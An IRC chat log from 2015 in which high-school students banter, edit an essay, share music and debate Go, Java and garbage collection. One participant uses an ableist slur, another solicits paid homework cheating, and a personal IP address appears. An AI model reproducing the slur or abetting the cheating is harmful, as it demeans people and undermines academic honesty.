[2015-03-25T21:25:57-0400] <Tamini> bad fwilson tho
[2015-03-25T21:25:58-0400] <Tamini> :P
[2015-03-25T21:26:00-0400] <jwoglom> man, sdamashek, you've got this lenny face thing down to a science
[2015-03-25T21:26:01-0400] <+awe> fwilson: that's awesome, right?
[2015-03-25T21:26:03-0400] <fwilson> ( ͡° ͜ʖ ͡°)
[2015-03-25T21:26:05-0400] <+awe> fwilson: It looks like awesome.
[2015-03-25T21:26:08-0400] <fwilson> awe: nope
[2015-03-25T21:26:08-0400] <Tamini> !choose read gatsby or play vvvvv
[2015-03-25T21:26:10-0400] <fwilson> i3
[2015-03-25T21:26:10-0400] <Tamini> :(
[2015-03-25T21:26:12-0400] <+awe> Tamini: @choose
[2015-03-25T21:26:14-0400] <fwilson> Tamini: play vvvvvv
[2015-03-25T21:26:15-0400] <Tamini> oh right
[2015-03-25T21:26:20-0400] <jwoglom> Tamini: we don't have tjhsstbot :P
[2015-03-25T21:26:21-0400] <sdamashek> jwoglom: like I told you, it's my mating call
[2015-03-25T21:26:22-0400] <Tamini> fwilson: you're not awebot!
[2015-03-25T21:26:32-0400] <Tamini> @choose read gatsby or play vvvvv
[2015-03-25T21:26:32-0400] <+awebot> Tamini: read gatsby
[2015-03-25T21:26:36-0400] <Tamini> thank you awebot
[2015-03-25T21:26:49-0400] <sdamashek> @s
[2015-03-25T21:26:54-0400] <sdamashek> aww
[2015-03-25T21:27:06-0400] <jwoglom> awebot needs more features
[2015-03-25T21:27:11-0400] <+awe> jwoglom: like what?
[2015-03-25T21:27:19-0400] <+awe> Suggest stuff, and I'll probably implement it.
[2015-03-25T21:27:28-0400] <jwoglom> can it do text substitution
[2015-03-25T21:27:28-0400] <sdamashek> gosh, I had so much crap on my windows install
[2015-03-25T21:27:37-0400] <Tamini> @help
[2015-03-25T21:27:42-0400] <Tamini> i think we should have a pdgnbot
[2015-03-25T21:27:43-0400] <jwoglom> is @help even a command
[2015-03-25T21:27:44-0400] <Tamini> :>
[2015-03-25T21:27:46-0400] <sdamashek> I'm copying it off of my bitlocker'd backup drive and tar'ing it all
[2015-03-25T21:27:48-0400] <Tamini> because hardmath123 had cool features
[2015-03-25T21:27:48-0400] <jwoglom> @commands
[2015-03-25T21:27:51-0400] <jwoglom> @help
[2015-03-25T21:27:53-0400] <jwoglom> @about
[2015-03-25T21:27:56-0400] <jwoglom> @pls
[2015-03-25T21:28:04-0400] <+awe> lol
[2015-03-25T21:28:13-0400] <sdamashek> gentoo tree, and my entire steam library
[2015-03-25T21:28:18-0400] <sdamashek> and more...
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[2015-03-25T21:37:28-0400] <jwoglom> did anyone else just see that
[2015-03-25T21:37:36-0400] <sdamashek> jwoglom: or linux, could be either way
[2015-03-25T21:37:42-0400] <sdamashek> but I'm printing from this computer anyways
[2015-03-25T21:37:43-0400] <fwilson> "utilizing the Horizon testing platform" ahahahahahahahhahahahahahahahaha
[2015-03-25T21:37:45-0400] <jwoglom>  <-- | fwilson (affiliated@pdgn-iio.q5k.uc24op.IP) has quit (Changing host)
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[2015-03-25T21:38:04-0400] <fwilson> yeah
[2015-03-25T21:38:04-0400] <jwoglom> fwilson: best in class security!1!!!!!
[2015-03-25T21:38:07-0400] <sdamashek> fwilson: okay it's not functionally that bad, is it
[2015-03-25T21:38:14-0400] <jwoglom> sdamashek: COUGH COUGH
[2015-03-25T21:38:14-0400] <fwilson> also sdamashek your works cited needs a page break
[2015-03-25T21:38:15-0400] <sdamashek> functionally, not security
[2015-03-25T21:38:20-0400] <fwilson> Invalid functional security!
[2015-03-25T21:38:24-0400] <fwilson> what are you talking about
[2015-03-25T21:38:40-0400] <fwilson> Invalid functional security!
[2015-03-25T21:38:41-0400] <sdamashek> fwilson: like that?
[2015-03-25T21:38:49-0400] <z3t> nice site fwilson http://108.18.144.186/
[2015-03-25T21:39:04-0400] <fwilson> z3t: hm?
[2015-03-25T21:39:08-0400] <jwoglom> i am still legitimately stunned that *the* issue even existed
[2015-03-25T21:39:10-0400] <z3t> you're hosting a site on that
[2015-03-25T21:39:12-0400] <fwilson> yeah
[2015-03-25T21:39:23-0400] <sdamashek> it's also just fwilson.me lol
[2015-03-25T21:39:23-0400] <jwoglom> that's fwilson.me
[2015-03-25T21:39:28-0400] <fwilson> fwilson.me points to it
[2015-03-25T21:39:33-0400] <z3t> ah
[2015-03-25T21:39:35-0400] <fwilson> try fwilson.me/pleasedontclickhere.html
[2015-03-25T21:39:54-0400] <Tamini> whoa
[2015-03-25T21:40:00-0400] <Tamini> im going to go listen to all your music now
[2015-03-25T21:40:08-0400] <fwilson> Tamini: what
[2015-03-25T21:40:09-0400] <Tamini> wait this is good study music
[2015-03-25T21:40:15-0400] <sdamashek> yeah it is
[2015-03-25T21:40:17-0400] <jwoglom> the windows error tunes one? :P
[2015-03-25T21:40:22-0400] <fwilson> Tamini: what
[2015-03-25T21:40:23-0400] <sdamashek> LOL
[2015-03-25T21:40:24-0400] <jwoglom> wait around 30 seconds tho
[2015-03-25T21:40:30-0400] <Tamini> :P
[2015-03-25T21:40:38-0400] <fwilson> Tamini: are you talking about bandcamp or the pleasedontclickhere.html
[2015-03-25T21:40:40-0400] <Tamini> the piano music
[2015-03-25T21:40:42-0400] <Tamini> LOL
[2015-03-25T21:40:42-0400] <fwilson> oh
[2015-03-25T21:40:42-0400] <sdamashek> fwilson: also I love using "digital age"
[2015-03-25T21:40:44-0400] <fwilson> thanks lol
[2015-03-25T21:40:47-0400] <fwilson> sdamashek: :DDDDDD
[2015-03-25T21:40:48-0400] <Tamini> i like it
[2015-03-25T21:40:56-0400] <fwilson> sdamashek: oh also stuff like "level of internet" you might want to rephrase
[2015-03-25T21:40:57-0400] <Tamini> i'm going to go disappear and study while listening to fwilsongs now
[2015-03-25T21:41:09-0400] <sdamashek> fwilson: true
[2015-03-25T21:41:11-0400] <jwoglom> fwilsing fwilsongs
[2015-03-25T21:41:13-0400] <sdamashek> any other instances of that?
[2015-03-25T21:41:21-0400] <fwilson> sdamashek: there was one other in that paragraph, one sec
[2015-03-25T21:41:33-0400] <Tamini> "working alone, I won second place in the first round"
[2015-03-25T21:41:33-0400] Mode is +nt
[2015-03-25T21:41:36-0400] <fwilson> "$9.95/month internet"
[2015-03-25T21:41:38-0400] <Tamini> dammit fwilson y u op
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[2015-03-25T21:42:12-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T21:38:14-0400] <jwoglom> sdamashek: COUGH COUGH
[2015-03-25T21:38:14-0400] <fwilson> also sdamashek your works cited needs a page break
[2015-03-25T21:38:15-0400] <sdamashek> functionally, not security
[2015-03-25T21:38:20-0400] <fwilson> Invalid functional security!
[2015-03-25T21:38:24-0400] <fwilson> what are you talking about
[2015-03-25T21:38:40-0400] <fwilson> Invalid functional security!
[2015-03-25T21:38:41-0400] <sdamashek> fwilson: like that?
[2015-03-25T21:38:49-0400] <z3t> nice site fwilson http://108.18.144.186/
[2015-03-25T21:39:04-0400] <fwilson> z3t: hm?
[2015-03-25T21:39:08-0400] <jwoglom> i am still legitimately stunned that *the* issue even existed
[2015-03-25T21:39:10-0400] <z3t> you're hosting a site on that
[2015-03-25T21:39:12-0400] <fwilson> yeah
[2015-03-25T21:39:23-0400] <sdamashek> it's also just fwilson.me lol
[2015-03-25T21:39:23-0400] <jwoglom> that's fwilson.me
[2015-03-25T21:39:28-0400] <fwilson> fwilson.me points to it
[2015-03-25T21:39:33-0400] <z3t> ah
[2015-03-25T21:39:35-0400] <fwilson> try fwilson.me/pleasedontclickhere.html
[2015-03-25T21:39:54-0400] <Tamini> whoa
[2015-03-25T21:40:00-0400] <Tamini> im going to go listen to all your music now
[2015-03-25T21:40:08-0400] <fwilson> Tamini: what
[2015-03-25T21:40:09-0400] <Tamini> wait this is good study music
[2015-03-25T21:40:15-0400] <sdamashek> yeah it is
[2015-03-25T21:40:17-0400] <jwoglom> the windows error tunes one? :P
[2015-03-25T21:40:22-0400] <fwilson> Tamini: what
[2015-03-25T21:40:23-0400] <sdamashek> LOL
[2015-03-25T21:40:24-0400] <jwoglom> wait around 30 seconds tho
[2015-03-25T21:40:30-0400] <Tamini> :P
[2015-03-25T21:40:38-0400] <fwilson> Tamini: are you talking about bandcamp or the pleasedontclickhere.html
[2015-03-25T21:40:40-0400] <Tamini> the piano music
[2015-03-25T21:40:42-0400] <Tamini> LOL
[2015-03-25T21:40:42-0400] <fwilson> oh
[2015-03-25T21:40:42-0400] <sdamashek> fwilson: also I love using "digital age"
[2015-03-25T21:40:44-0400] <fwilson> thanks lol
[2015-03-25T21:40:47-0400] <fwilson> sdamashek: :DDDDDD
[2015-03-25T21:40:48-0400] <Tamini> i like it
[2015-03-25T21:40:56-0400] <fwilson> sdamashek: oh also stuff like "level of internet" you might want to rephrase
[2015-03-25T21:40:57-0400] <Tamini> i'm going to go disappear and study while listening to fwilsongs now
[2015-03-25T21:41:09-0400] <sdamashek> fwilson: true
[2015-03-25T21:41:11-0400] <jwoglom> fwilsing fwilsongs
[2015-03-25T21:41:13-0400] <sdamashek> any other instances of that?
[2015-03-25T21:41:21-0400] <fwilson> sdamashek: there was one other in that paragraph, one sec
[2015-03-25T21:41:33-0400] <Tamini> "working alone, I won second place in the first round"
[2015-03-25T21:41:38-0400] <fwilson> "$9.95/month internet"
[2015-03-25T21:41:39-0400] <Tamini> dammit fwilson y u op
[2015-03-25T21:41:54-0400] <sdamashek> fwilson: yeah
[2015-03-25T21:41:55-0400] <fwilson> -> "$9.95/month internet access" or "Internet access for $9.95/month"
[2015-03-25T21:41:57-0400] <fwilson> i mean
[2015-03-25T21:41:58-0400] <sdamashek> it's like 5Mbps
[2015-03-25T21:41:59-0400] <fwilson> it's clear what you're trying to say
[2015-03-25T21:42:06-0400] <fwilson> but i'm just being pedantic
[2015-03-25T21:42:13-0400] Mode is +nt
[2015-03-25T21:42:16-0400] <fwilson> internet vs. internet access
[2015-03-25T21:42:33-0400] <fwilson> Tamini: should i make more music
[2015-03-25T21:42:38-0400] <Tamini> yes please
[2015-03-25T21:42:41-0400] <Tamini> can you also give me these files
[2015-03-25T21:42:44-0400] <sdamashek> fwilson: ok there
[2015-03-25T21:42:55-0400] <Tamini> this would be really good for doing amt homework during arml practice
[2015-03-25T21:43:40-0400] <fwilson> Tamini: if you click "buy now" and type "0" into the box it'll let you downloda them
[2015-03-25T21:43:47-0400] <Tamini> o right bandcamp abuse
[2015-03-25T21:43:49-0400] <fwilson> lol
[2015-03-25T21:43:50-0400] <fwilson> it's not abuse
[2015-03-25T21:44:02-0400] <Tamini> okay fine
[2015-03-25T21:44:09-0400] <fwilson> like i intended for them to be free lol
[2015-03-25T21:44:20-0400] <Tamini> aight
[2015-03-25T21:45:12-0400] <fwilson> bandcamp <3
[2015-03-25T21:45:23-0400] <Tamini> I feel like a hipster using it so much, though
[2015-03-25T21:45:32-0400] <Tamini> I used to use it exclusively to follow andy but now i actually do stuff with it
[2015-03-25T21:46:18-0400] <fwilson> lol
[2015-03-25T21:46:33-0400] <fwilson> wait
[2015-03-25T21:46:35-0400] <fwilson> i'm looking at my stats
[2015-03-25T21:46:41-0400] <fwilson> and apparently someone played stuff 31 times on march 16
[2015-03-25T21:46:43-0400] <fwilson> i don't remember that
[2015-03-25T21:46:46-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-25T21:46:52-0400] <Tamini> maybe you have a sekrit fan
[2015-03-25T21:46:53-0400] <Tamini> :O
[2015-03-25T21:47:07-0400] <fwilson> i mean
[2015-03-25T21:47:09-0400] <fwilson> http://i.fwilson.me/MYXXYL.png
[2015-03-25T21:47:13-0400] <fwilson> i'm not doing that badly
[2015-03-25T21:47:27-0400] <Tamini> i mean, you're making good music
[2015-03-25T21:47:29-0400] <sdamashek> what are the colors?
[2015-03-25T21:47:38-0400] <fwilson> sdamashek: green == completely played, yellow == partially played, red == skipped
[2015-03-25T21:47:49-0400] <sdamashek> oh, makes sense
[2015-03-25T21:48:00-0400] <fwilson> Tamini: is it actually good, because i know for a fact that i didn't put much effort into these
[2015-03-25T21:48:03-0400] <fwilson> and if they're actually good
[2015-03-25T21:48:09-0400] <fwilson> o_o
[2015-03-25T21:48:26-0400] <Tamini> well, I like them
[2015-03-25T21:48:38-0400] <fwilson> good enough ¯\_(ツ)_/¯
[2015-03-25T21:48:43-0400] <fwilson> i'll make more sometime then
[2015-03-25T21:48:50-0400] <Tamini> A++ :D
[2015-03-25T21:49:10-0400] <jwoglom> yeah fwilson, they're simple but nice
[2015-03-25T21:49:15-0400] <fwilson> lol i keep trying to "/b #tjhsst" and keep forgetting that i /part'd
[2015-03-25T21:49:22-0400] <jwoglom> fwilson pls :P
[2015-03-25T21:49:28-0400] <fwilson> also you're welcome to troll some more in there
[2015-03-25T21:49:34-0400] <fwilson> ^ everyone who's not in there
[2015-03-25T21:49:34-0400] <jwoglom> they're discussing you, actually
[2015-03-25T21:49:35-0400] <Tamini> come back fwilson :>
[2015-03-25T21:49:36-0400] <fwilson> really?
[2015-03-25T21:49:42-0400] <fwilson> fun
[2015-03-25T21:49:54-0400] <fwilson> dank
[2015-03-25T21:49:57-0400] <jwoglom> Tamini: there was drama(TM)
[2015-03-25T21:50:12-0400] <fwilson> Tamini: basically everything was too serious
[2015-03-25T21:50:22-0400] <sdamashek> is*
[2015-03-25T21:50:24-0400] <fwilson> true
[2015-03-25T21:50:29-0400] <Tamini> everything is too serious
[2015-03-25T21:50:31-0400] <fwilson> well
[2015-03-25T21:50:33-0400] <Tamini> but all the more fun to troll
[2015-03-25T21:50:34-0400] <fwilson> Tamini: but only in #tjhsst
[2015-03-25T21:50:38-0400] <Tamini> true
[2015-03-25T21:50:40-0400] <fwilson> like everywhere else
[2015-03-25T21:50:43-0400] <jwoglom> #tjhsst is the problem!
[2015-03-25T21:50:46-0400] <fwilson> it's less serious
[2015-03-25T21:51:12-0400] <jwoglom> the restrictions they wanted to be placed on the bot were pretty rediculous
[2015-03-25T21:51:40-0400] <fwilson> yeah lol
[2015-03-25T21:51:41-0400] <bob_twinkles> pfoley published the control chan logs
[2015-03-25T21:51:46-0400] <Tamini> :/
[2015-03-25T21:51:49-0400] <bob_twinkles> and then disabled that cron job like 15 minutes later
[2015-03-25T21:51:49-0400] <jwoglom> but then he took them down
[2015-03-25T21:51:51-0400] <fwilson> can we make a fake control chan
[2015-03-25T21:51:53-0400] <bob_twinkles> nobody has noticed yet
[2015-03-25T21:51:56-0400] <bob_twinkles> lol
[2015-03-25T21:51:59-0400] <jwoglom> yup
[2015-03-25T21:52:16-0400] <sdamashek> mhm
[2015-03-25T21:52:22-0400] <sdamashek> that was great
[2015-03-25T21:52:37-0400] <Hyper> awe: so go makes me genuinely angry
[2015-03-25T21:52:43-0400] <+awe> Hyper: ?
[2015-03-25T21:52:46-0400] <+awe> Oh.
[2015-03-25T21:52:46-0400] <Hyper> the language
[2015-03-25T21:52:47-0400] <+awe> I misread that.
[2015-03-25T21:52:48-0400] <Hyper> as a whole
[2015-03-25T21:52:50-0400] <Hyper> just like
[2015-03-25T21:52:54-0400] <+awe> I thought you were asking me to go make you genuinely angry.
[2015-03-25T21:52:55-0400] <+awe> :)
[2015-03-25T21:52:56-0400] <Hyper> causes me rage
[2015-03-25T21:52:58-0400] <Hyper> lol
[2015-03-25T21:53:01-0400] <fwilson> lol
[2015-03-25T21:53:02-0400] <+awe> Why does Go cause you rage?
[2015-03-25T21:53:05-0400] <jwoglom> fwilson: you really should, lol
[2015-03-25T21:53:10-0400] <jwoglom> make a separate controlchan
[2015-03-25T21:53:18-0400] <jwoglom> and make #cslbot-control or whatever just be pointless
[2015-03-25T21:53:29-0400] <Hyper> The official, recommended solution to generics not being part of the language is to (effectively) cast to void*
[2015-03-25T21:53:38-0400] <fwilson> I don't want to make things worse
[2015-03-25T21:54:05-0400] <calc0000> (6:41:37 PM) JacobEdelman: calc0000: will you marry me?
[2015-03-25T21:54:06-0400] <calc0000> wut
[2015-03-25T21:54:13-0400] <+awe> fwilson: I'm going to be honest, I really didn't like that first song (alpha) so much so that I couldn't finish listening to it.
[2015-03-25T21:54:14-0400] <Hyper> or to write specially formatted comments and have an external tool go through on a separate pass and generate the code for you
[2015-03-25T21:54:21-0400] <+awe> fwilson: It sounded clumsy.
[2015-03-25T21:54:22-0400] <jwoglom> calc0000: i think he's still waiting for a response :P
[2015-03-25T21:54:31-0400] <Hyper> I just can't even the incompetence that causes those kind of language decisions
[2015-03-25T21:54:38-0400] <+awe> Hyper: that's worse than Java.
[2015-03-25T21:54:43-0400] <calc0000> why me
[2015-03-25T21:54:45-0400] <fwilson> awe, I composed and recorded each one in ten minutes or less so...
[2015-03-25T21:54:47-0400] <fwilson> lol
[2015-03-25T21:54:49-0400] <Hyper> and most arguments I hear for the language involve one of the following statements:
[2015-03-25T21:54:52-0400] <Hyper> "It's simple"
[2015-03-25T21:54:54-0400] <Hyper> or
[2015-03-25T21:54:58-0400] <fwilson> yeah some of the later ones are better
[2015-03-25T21:55:07-0400] <+awe> fwilson: Yeah, I didn't think this was indicative of your skill. I just wanted to say it felt really clumsy and I couldn't listen to it.
[2015-03-25T21:55:09-0400] <Hyper> "It's by the same guys who made unix and C and plan9 and stuff"
[2015-03-25T21:55:29-0400] <+awe> >implying Ken Thompson knows how to design programming languages
[2015-03-25T21:55:33-0400] <Hyper> the first is ill-defined and arguably useless, and the second is just an appeal to authority
[2015-03-25T21:55:58-0400] <Hyper> a shitty appeal to authority too, implying that the last useful things the people made were over 30 years ago
[2015-03-25T21:56:07-0400] <Hyper> >_<
[2015-03-25T21:56:30-0400] <+awe> In all actuality, the last useful thing he made WAS over thirty years ago.
[2015-03-25T21:56:36-0400] <Hyper> The fact that this language is actually used is causing me a huge amount of distress
[2015-03-25T21:56:53-0400] <Hyper> like, "I don't want to live on this planet anymore" levels of distress
[2015-03-25T21:56:55-0400] <fwilson> awe, there was one that was worse
[2015-03-25T21:56:59-0400] <fwilson> I removed it though
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[2015-03-25T21:57:32-0400] <fwilson> z3t, I will now beat you in the :( contest
[2015-03-25T21:59:01-0400] <fwilson> :(
[2015-03-25T21:59:09-0400] <jwoglom> :)
[2015-03-25T21:59:11-0400] <Hyper> :(
[2015-03-25T21:59:17-0400] <jwoglom> :)
[2015-03-25T21:59:19-0400] <bob_twinkles> ):(
[2015-03-25T21:59:27-0400] <jwoglom> (:)
[2015-03-25T21:59:28-0400] <Hyper> ParseError
[2015-03-25T21:59:44-0400] <bob_twinkles> ()::
[2015-03-25T21:59:48-0400] <bob_twinkles> ^ pulse cannon
[2015-03-25T21:59:55-0400] <Hyper> 4-eyed monkey
[2015-03-25T21:59:58-0400] <+awe> Ahoy, bob_twinkles.
[2015-03-25T22:00:08-0400] <fwilson> :(
[2015-03-25T22:00:16-0400] <bob_twinkles> yar, matey
[2015-03-25T22:01:48-0400] <Hyper> I feel like my health would be better if I just automatically filtered out any pages about go
[2015-03-25T22:02:08-0400] <Hyper> Unfortunately it's such a fucking common word there isn't a good way >_<
[2015-03-25T22:03:02-0400] <JacobEdelman> calc0000: statistics show that you hate Java the most
[2015-03-25T22:03:20-0400] <JacobEdelman> Cause I did sentiment analysys
[2015-03-25T22:04:04-0400] <JacobEdelman> But then I did more and realized you are also one of the people who dislikes me the most according to my really bad sentiment analysis
[2015-03-25T22:04:22-0400] <JacobEdelman> So I no longer want to Marry you
[2015-03-25T22:04:33-0400] <fwilson> lol
[2015-03-25T22:04:47-0400] <jwoglom> JacobEdelman: what if he already signed the papers? :P
[2015-03-25T22:05:04-0400] <JacobEdelman> jwoglom: he has to stand in line
[2015-03-25T22:05:11-0400] <JacobEdelman> I'm getting married to you
[2015-03-25T22:05:17-0400] <JacobEdelman> Didn't you know?
[2015-03-25T22:05:21-0400] <JacobEdelman> :P
[2015-03-25T22:05:33-0400] <Tamini> i think you might need his consent for that
[2015-03-25T22:05:53-0400] <JacobEdelman> Nah
[2015-03-25T22:05:57-0400] <JacobEdelman> Now
[2015-03-25T22:06:00-0400] <JacobEdelman> Gnight
[2015-03-25T22:06:05-0400] <bob_twinkles> 'night
[2015-03-25T22:06:18-0400] <calc0000> lol jacob
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[2015-03-25T22:06:30-0400] <calc0000> how can you do sentiment analysis on the 10 lines i've sent
[2015-03-25T22:06:54-0400] <JacobEdelman> You sent over 60 lines I think
[2015-03-25T22:07:00-0400] <Tamini> sdamashek: i find it amusing that your sources are 1/3 of the paper
[2015-03-25T22:07:07-0400] <Tamini> also i can't do much for you because i have no rubric oops :X
[2015-03-25T22:07:14-0400] <sdamashek> Tamini: this is mr miller
[2015-03-25T22:07:17-0400] <sdamashek> there is no rubric
[2015-03-25T22:07:21-0400] <Tamini> oh, right
[2015-03-25T22:07:25-0400] • Tamini: points and laughs
[2015-03-25T22:07:37-0400] <sdamashek> and yeah
[2015-03-25T22:07:48-0400] <sdamashek> the actual paper is supposed to be 6 pages though, I have 7
[2015-03-25T22:08:22-0400] <Tamini> cut a paragraph then :P
[2015-03-25T22:08:36-0400] <jwoglom> "oh no, my paper's too long wat do" :P
[2015-03-25T22:08:40-0400] <sdamashek> no, at least 6 :P
[2015-03-25T22:08:47-0400] <sdamashek> I was saying that as a good thing
[2015-03-25T22:08:52-0400] <Tamini> oh okay
[2015-03-25T22:08:56-0400] <jwoglom> i haven't had miller, but i don't think you're going to get knocked for having too much :P
[2015-03-25T22:09:05-0400] <sdamashek> nah I won't
[2015-03-25T22:09:30-0400] <+awe> calc0000: you probably do hate Java the most here though.
[2015-03-25T22:10:11-0400] <calc0000> maybe but web is my main target these days
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[2015-03-25T22:14:54-0400] <+awe> That's true.
[2015-03-25T22:17:18-0400] <LittleBobbyTables> Java is the little retarded kid you went to school with. People feel bad for him, because they know he can be useful, but nobody really sees a point.
[2015-03-25T22:17:32-0400] <bob_twinkles> <war type="language">
[2015-03-25T22:17:58-0400] • awe: poops on Perl.
[2015-03-25T22:17:59-0400] <calc0000> now the jvm, on the other hand...
[2015-03-25T22:18:29-0400] <+awe> The JVM is good relative to other similar VMs, but the garbage collection is getting kind of stale.
[2015-03-25T22:18:57-0400] <bob_twinkles> performance java usually means avoiding GC anyway
[2015-03-25T22:19:10-0400] <+awe> That's in part because the GC is bad, bob_twinkles.
[2015-03-25T22:19:22-0400] <bob_twinkles> it's the same in any GCed language
[2015-03-25T22:19:34-0400] <LittleBobbyTables> Collecting garbage will make you smell bad after awhiel
[2015-03-25T22:19:35-0400] <bob_twinkles> any GC algorithm you use is going to stop the world which can really hurt you
[2015-03-25T22:19:50-0400] <calc0000> oh bobby
[2015-03-25T22:19:56-0400] <calc0000> only i get to make those jokes
[2015-03-25T22:19:57-0400] <+awe> Ideally, performance GC'd code would be centered around carefully controlling when GC freezes happen.
[2015-03-25T22:20:10-0400] <LittleBobbyTables> calc0000: I've been making those jokes since before you were born
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[2015-03-25T22:21:02-0400] <+awe> But yeah, I mean, in general, you do want to make sure that you produce less garbage to be collected.
[2015-03-25T22:21:34-0400] <+awe> I feel like when you're doing that a lot, you've probably hit the point where performance matters enough for you to use a language like Rust.
[2015-03-25T22:23:03-0400] <LittleBobbyTables> Mantra is a pretty dank browser for those lazy people that don't want to install addons yourself.
[2015-03-25T22:25:55-0400] <+awe> I'm excited for the day when we have dank browsers using Servo.
[2015-03-25T22:26:18-0400] <LittleBobbyTables> You mean the motor...?
[2015-03-25T22:27:09-0400] <+awe> https://github.com/servo/servo
[2015-03-25T22:27:18-0400] <+awe> It's the dankest of rendering engines.
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[2015-03-25T22:05:12-0400] <JacobEdelman> I'm getting married to you
[2015-03-25T22:05:18-0400] <JacobEdelman> Didn't you know?
[2015-03-25T22:05:22-0400] <JacobEdelman> :P
[2015-03-25T22:05:35-0400] <Tamini> i think you might need his consent for that
[2015-03-25T22:05:55-0400] <JacobEdelman> Nah
[2015-03-25T22:05:59-0400] <JacobEdelman> Now
[2015-03-25T22:06:01-0400] <JacobEdelman> Gnight
[2015-03-25T22:06:06-0400] <bob_twinkles> 'night
[2015-03-25T22:06:20-0400] <calc0000> lol jacob
[2015-03-25T22:06:31-0400] <calc0000> how can you do sentiment analysis on the 10 lines i've sent
[2015-03-25T22:06:55-0400] <JacobEdelman> You sent over 60 lines I think
[2015-03-25T22:07:01-0400] <Tamini> sdamashek: i find it amusing that your sources are 1/3 of the paper
[2015-03-25T22:07:08-0400] <Tamini> also i can't do much for you because i have no rubric oops :X
[2015-03-25T22:07:15-0400] <sdamashek> Tamini: this is mr miller
[2015-03-25T22:07:19-0400] <sdamashek> there is no rubric
[2015-03-25T22:07:22-0400] <Tamini> oh, right
[2015-03-25T22:07:27-0400] • Tamini: points and laughs
[2015-03-25T22:07:39-0400] <sdamashek> and yeah
[2015-03-25T22:07:49-0400] <sdamashek> the actual paper is supposed to be 6 pages though, I have 7
[2015-03-25T22:08:23-0400] <Tamini> cut a paragraph then :P
[2015-03-25T22:08:37-0400] <jwoglom> "oh no, my paper's too long wat do" :P
[2015-03-25T22:08:41-0400] <sdamashek> no, at least 6 :P
[2015-03-25T22:08:48-0400] <sdamashek> I was saying that as a good thing
[2015-03-25T22:08:53-0400] <Tamini> oh okay
[2015-03-25T22:08:58-0400] <jwoglom> i haven't had miller, but i don't think you're going to get knocked for having too much :P
[2015-03-25T22:09:07-0400] <sdamashek> nah I won't
[2015-03-25T22:09:31-0400] <+awe> calc0000: you probably do hate Java the most here though.
[2015-03-25T22:10:12-0400] <calc0000> maybe but web is my main target these days
[2015-03-25T22:14:55-0400] <+awe> That's true.
[2015-03-25T22:17:19-0400] <LittleBobbyTables> Java is the little retarded kid you went to school with. People feel bad for him, because they know he can be useful, but nobody really sees a point.
[2015-03-25T22:17:33-0400] <bob_twinkles> <war type="language">
[2015-03-25T22:17:59-0400] • awe: poops on Perl.
[2015-03-25T22:18:00-0400] <calc0000> now the jvm, on the other hand...
[2015-03-25T22:18:30-0400] <+awe> The JVM is good relative to other similar VMs, but the garbage collection is getting kind of stale.
[2015-03-25T22:18:58-0400] <bob_twinkles> performance java usually means avoiding GC anyway
[2015-03-25T22:19:11-0400] <+awe> That's in part because the GC is bad, bob_twinkles.
[2015-03-25T22:19:23-0400] <bob_twinkles> it's the same in any GCed language
[2015-03-25T22:19:35-0400] <LittleBobbyTables> Collecting garbage will make you smell bad after awhiel
[2015-03-25T22:19:36-0400] <bob_twinkles> any GC algorithm you use is going to stop the world which can really hurt you
[2015-03-25T22:19:51-0400] <calc0000> oh bobby
[2015-03-25T22:19:57-0400] <calc0000> only i get to make those jokes
[2015-03-25T22:19:58-0400] <+awe> Ideally, performance GC'd code would be centered around carefully controlling when GC freezes happen.
[2015-03-25T22:20:11-0400] <LittleBobbyTables> calc0000: I've been making those jokes since before you were born
[2015-03-25T22:21:03-0400] <+awe> But yeah, I mean, in general, you do want to make sure that you produce less garbage to be collected.
[2015-03-25T22:21:35-0400] <+awe> I feel like when you're doing that a lot, you've probably hit the point where performance matters enough for you to use a language like Rust.
[2015-03-25T22:23:04-0400] <LittleBobbyTables> Mantra is a pretty dank browser for those lazy people that don't want to install addons yourself.
[2015-03-25T22:25:56-0400] <+awe> I'm excited for the day when we have dank browsers using Servo.
[2015-03-25T22:26:20-0400] <LittleBobbyTables> You mean the motor...?
[2015-03-25T22:27:10-0400] <+awe> https://github.com/servo/servo
[2015-03-25T22:27:19-0400] <+awe> It's the dankest of rendering engines.
[2015-03-25T22:28:15-0400] Mode is +nt
[2015-03-25T22:28:40-0400] <LittleBobbyTables> Danker than dank memes?
[2015-03-25T22:29:18-0400] <bob_twinkles> http://i.imgur.com/nzQKXUK.jpg
[2015-03-25T22:30:20-0400] <+awe> LittleBobbyTables: much danker.
[2015-03-25T22:30:27-0400] <LittleBobbyTables> damn
[2015-03-25T22:30:34-0400] <LittleBobbyTables> shits dank yo
[2015-03-25T22:32:53-0400] <LittleBobbyTables> I have S&M stuck in my head.
[2015-03-25T22:35:10-0400] <grantwu> Java?
[2015-03-25T22:35:13-0400] <grantwu> Java java java.
[2015-03-25T22:35:18-0400] <grantwu> Java and sumatra.
[2015-03-25T22:35:43-0400] <grantwu> Java le java java java java java java java java java java java java java java java java jav
[2015-03-25T22:35:45-0400] <grantwu> a
[2015-03-25T22:35:49-0400] <calc0000> uwot
[2015-03-25T22:36:01-0400] <grantwu> Java is love.  Java is life.
[2015-03-25T22:36:19-0400] <alokpathy> lolwut
[2015-03-25T22:36:25-0400] <alokpathy> oh grantwu did you see netcat's source?
[2015-03-25T22:36:28-0400] <calc0000> it's all Java now
[2015-03-25T22:36:28-0400] <bob_twinkles> I think grantwu broke a bit
[2015-03-25T22:38:12-0400] <Tamini> he breaks a bit often
[2015-03-25T22:39:13-0400] <bob_twinkles> parsing failed: ambiguity at 1:16
[2015-03-25T22:41:25-0400] <grantwu> alokpathy: No, i haven't
[2015-03-25T22:41:29-0400] <grantwu> I was just reading scrollback.
[2015-03-25T22:41:38-0400] <grantwu> I'm trying to get JacobEdelman to hate me.
[2015-03-25T22:41:47-0400] <LittleBobbyTables> pst, who wants to make 15 bucks doing some math homework for this random dude on skype
[2015-03-25T22:41:58-0400] <grantwu> I want to make passionate love to the Java(tm) language.
[2015-03-25T22:42:08-0400] <LittleBobbyTables> http://gyazo.com/331fb18f135c60b9222312b10609a0bd
[2015-03-25T22:42:18-0400] <LittleBobbyTables> will give link if someone does
[2015-03-25T22:47:35-0400] <alokpathy> grantwu: http://www.opensource.apple.com/source/netcat/netcat-4/netcat/netcat.c
[2015-03-25T22:49:02-0400] <LittleBobbyTables> imma assume that's a no
[2015-03-25T22:49:34-0400] <bob_twinkles> I took a look at it, looks more like an english assignment than a math problem =P
[2015-03-25T22:49:41-0400] <bob_twinkles> is also clearly a homework assignment
[2015-03-25T22:49:47-0400] <bob_twinkles> 0/15 too much effort
